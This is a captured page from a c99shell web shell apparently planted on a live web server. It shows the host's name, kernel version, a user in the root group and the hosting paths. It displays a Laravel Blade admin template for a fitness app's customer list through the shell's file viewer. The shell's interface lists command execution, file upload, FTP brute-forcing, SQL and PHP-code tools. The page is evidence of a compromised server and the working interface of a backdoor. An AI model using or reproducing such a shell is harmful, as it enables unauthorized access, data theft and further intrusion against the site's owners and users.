!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/resources/views/admin/customers/   drwxr-xr-x
Free 24.04 GB of 117.98 GB (20.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.blade.php (5.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('layouts.admin')

@section('title') Customers @endsection

@section('extra-css')
    <link rel="stylesheet" href="{{asset('plugins/datatables-bs4/css/dataTables.bootstrap4.min.css')}}">
    <link rel="stylesheet" href="{{asset('plugins/datatables-responsive/css/responsive.bootstrap4.min.css')}}">
@endsection

@section('content')
    <!-- Main content -->
    <section class="content">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <div class="card-header">
                        <h2 class="card-title">@lang('admin.customers.list')</h2>
                        @if (auth()->user()->type=='admin')
                        <a class="btn btn-primary float-right" href="{{route('admin.customers.create')}}">@lang('admin.form.button.new')</a>
                        @endif
                    </div>
                    <!-- /.card-header -->
                    <div class="card-body table-body">
                        <table id="customers" class="table table-striped table-bordered dt-responsive nowrap">
                            <thead>
                            <tr>
                                <th>@lang('admin.profile')</th>
                                <th>@lang('admin.plan_details')</th>
                              @if (auth()->user()->type !='trainer')
                                <th>@lang('Assign To')</th>
                              @endif
                                <th>@lang('admin.table.status')</th>
                                <th>@lang('admin.table.action')</th>
                            </tr>
                            </thead>

                        </table>
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
            <!-- /.col -->
        </div>
        <!-- /.row -->
    </section>
    <!-- /.content -->

    <div class="modal fade" id="assignTrainerModal" tabindex="-1" role="dialog" aria-labelledby="contactModalTitle" aria-hidden="true">
        <div class="modal-dialog custom-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h5 class="modal-title" id="contactModalTitle">@lang('Trainer Assign')</h5>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <div class="modal-body">
              <form method="post" role="form" id="dealsForm" action="{{route('admin.customer.assign.trainer')}}">
                 @csrf
                 <input type="hidden" name="customer_id" id="customer_id">
                 <div class="card-body">
                    <div class="form-group">
                        <label for="added_by">@lang('Select Customer')</label>
                        <select class="form-control select-tainer" name="added_by" id="added_by">
                            @if($trainers->isNotEmpty())
                                <option selected disabled>@lang('Select a option')</option>
                                @foreach($trainers as $trainer)
                                    <option  value="{{$trainer->id}}">{{$trainer->name}}</option>
                                @endforeach
                            @else
                                <option selected disabled>@lang('No data available')</option>
                            @endif
                        </select>
                    </div>
                 </div>
                 <div class="modal-footer">

                      <button type="button" class="btn btn-secondary" data-dismiss="modal">{{trans('Close')}}</button>

                      <button type="submit" class="btn btn-primary">@lang('admin.form.button.save')</button>
                 </div>
              </form>
            </div>
          </div>
        </div>
      </div>




@endsection

@section('extra-scripts')
    <script src="{{asset('plugins/datatables/jquery.dataTables.min.js')}}"></script>
    <script src="{{asset('plugins/datatables-bs4/js/dataTables.bootstrap4.min.js')}}"></script>
    <script src="{{asset('plugins/datatables-responsive/js/dataTables.responsive.min.js')}}"></script>
    <script src="{{asset('plugins/datatables-responsive/js/responsive.bootstrap4.min.js')}}"></script>
    <script>
        "use strict";

        $('.select-tainer').select2({
            placeholder: "Select A Trainer",
            multiple:false
        })
        $(document).on('click', '.assign-trainer', function (e){

            const id = $(this).attr('data-id');
            $('#customer_id').val(id);

            $('#assignTrainerModal').modal('show');
        })

        $(document).on('change', 'select[name=select_type]', function (e){
            const type= $(this).val();
            $('.custom_credit').hide();

            $('.credit_'+type).show();

        })
    </script>
    @if (auth()->user()->type == 'admin')
    <script>
        "use strict";
        $('#customers').DataTable({
            processing: true,
            serverSide: true,
            responsive:true,
            ajax:'{{route('admin.customer.get.all')}}',
            columns: [
                { "data": "profile" },
                { "data": "plan_details" },
                { "data": "assign_to" },
                { "data": "status" },
                { "data": "action" },
            ]
        });
    </script>
    @else
    <script>
        "use strict";
        $('#customers').DataTable({
            processing: true,
            serverSide: true,
            responsive:true,
            ajax:'{{route('admin.customer.get.all')}}',
            columns: [
                { "data": "profile" },
                { "data": "plan_details" },
                { "data": "status" },
                { "data": "action" },
            ]
        });
    </script>
    @endif

@endsection


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--